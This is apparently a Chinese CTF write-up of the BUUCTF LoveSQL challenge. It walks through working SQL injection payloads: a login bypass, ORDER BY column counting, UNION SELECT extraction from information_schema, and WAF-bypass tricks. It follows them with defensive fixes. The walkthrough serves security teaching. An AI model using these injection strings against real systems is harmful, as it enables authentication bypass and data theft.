当前位置: 首页 > news >正文

【BUUCTF系列】[极客大挑战 2019]LoveSQL 1

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁

文章目录

      • 一、题目核心漏洞分析
      • 二、关键解题步骤与技术解析
        • 1. 确定列数(`ORDER BY`)
        • 2. 联合查询获取表名
        • 3. 爆破字段名
        • 4. 提取Flag
      • 三、漏洞根源与防御方案
        • 1. 漏洞成因
        • 2. 防御措施
      • 四、CTF技巧延伸
      • 五、漏洞修复效果验证

拿到题目又是熟悉的表单结构,根据题目提示,是考察sql注入,输入 11", 1',进行测试
在这里插入图片描述
发现只有输入 1'的时候有回显,说明可能存在字符型注入
在这里插入图片描述
尝试 1' or 1=1 #万能密码绕过
在这里插入图片描述
提示登录成功了,并给了一串字符,但这显然不是我们要的flag,应该是应该陷阱,好的我们,可以换一个思路,联合注入查询

一、题目核心漏洞分析

漏洞类型

  • 单引号字符型注入:通过 1' or 1=1# 成功登录,说明用户名输入点存在未过滤的单引号闭合漏洞,攻击者通过闭合单引号注入恶意逻辑。
  • 万能密码原理1=1 构造永真条件,# 注释后续密码验证,直接绕过身份认证。

二、关键解题步骤与技术解析

尝试联合注入查询

1. 确定列数(ORDER BY
  • 原理ORDER BY n 根据第n列排序,若n超过实际列数则报错。
  • 操作
    1' ORDER BY 4#   → 显示数据库报错---成功(列数≥4)
    1' ORDER BY 5#   → 正常报错---失败(实际列数=4)
    


所以我们确定实际列数=4

2. 联合查询获取表名
  • Payload

    1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()#
    
  • 技术点

    • table_schema=database() 限定当前数据库。
    • 返回表名:geekuser, l0ve1ysq1(注意 l0ve1ysq1 是刻意命名的敏感表)。
      在这里插入图片描述
3. 爆破字段名
  • Payload示例
    1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='geekuser'#
    
  • 结果:两张表结构相同(id, username, password),说明可能存在数据镜像或测试冗余。
4. 提取Flag
  • 关键操作
    1' UNION SELECT 1,2,group_concat(id,username,password) FROM l0ve1ysq1#
    
  • 发现password 字段存储Flag格式数据(flag{...})。
    在这里插入图片描述

三、漏洞根源与防御方案

1. 漏洞成因
  • 动态SQL拼接:未对用户输入转义(如单引号未处理)。
  • 错误回显暴露信息:报错或查询结果直接回显前端,辅助攻击者判断注入有效性。
  • 过度权限:数据库账户可访问 information_schema,泄露元数据。
2. 防御措施
  • 参数化查询
    $stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
    $stmt->bind_param("ss", $username, $password);
    
    通过预编译分离指令与数据,彻底杜绝拼接风险。
  • 最小化权限:数据库账户禁用 information_schema 访问权限。
  • 输入过滤
    • 过滤单引号:str_replace("'", "", $input)
    • 正则匹配白名单:如用户名仅允许字母数字。
  • 错误处理:关闭数据库报错回显,替换为通用错误页面。

四、CTF技巧延伸

  1. 无回显场景解法
  • 时间盲注:用 IF(condition, SLEEP(5), 0) 结合响应延迟逐字符猜解。
  • DNS外带:通过 LOAD_FILE() 发起DNS请求泄露数据(需高权限)。
  1. WAF绕过技巧
  • 注释混淆' UN/**/ION SEL/**/ECT 1,2,3#
  • 十六进制编码table_name=0x6765656b75736572geekuser 的HEX)。

五、漏洞修复效果验证

措施测试方法预期结果
参数化查询输入 ' OR 1=1#登录失败,无结果返回
关闭错误回显输入 ' ORDER BY 100#返回统一错误页,无具体信息
禁用元数据访问尝试查询 information_schema返回“权限不足”

宇宙级免责声明​​
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

http://www.lryc.cn/news/610382.html

相关文章:

  • Scrapy爬虫集成MongoDB存储
  • FinalShell 跳板机proxyjump使用
  • Go 与 Python 爬虫代码实操对比
  • Python接口自动化测试之之request
  • SpringMvc跨域配置方法详解
  • Jmeter进行性能并发测试
  • 设计模式-创建型-工厂模式
  • Clion STM32CubeMX LED闪灯
  • CentOS卸载、安装MySQL8(yum操作)
  • 【QT】常⽤控件详解(三)常用按钮控件PushButton RadioButton CheckButton Tool Button
  • Kali基础知识点【2】
  • 查看 Java 字节码文件:jclasslib 的使用
  • C++高频知识点(十四)
  • 文件包含篇
  • Linux中netstat详细使用指南
  • MySQL偏门但基础的面试题集锦
  • webm 读取解析
  • 并发编程常用工具类(上):CountDownLatch 与 Semaphore 的协作应用
  • Linux 使用 firewalld :开放端口与常用操作指南
  • 【机器学习】(算法优化二)提升算法之:AdaBoost与随机梯度
  • C++多线程同步:深入理解互斥量与事件机制
  • 【node】token的生成与解析配置
  • 笔试——Day28
  • 我用一个 Postgres 实现一整套后端架构!
  • LeetCode 分类刷题:16. 最接近的三数之和
  • 【Unity】协程 Async
  • 体育数据创业:用 API + 比分网,低成本快速验证
  • Mirror学习笔记
  • Linux RAID 存储技术
  • GaussDB 数据库架构师(十二) 资源规划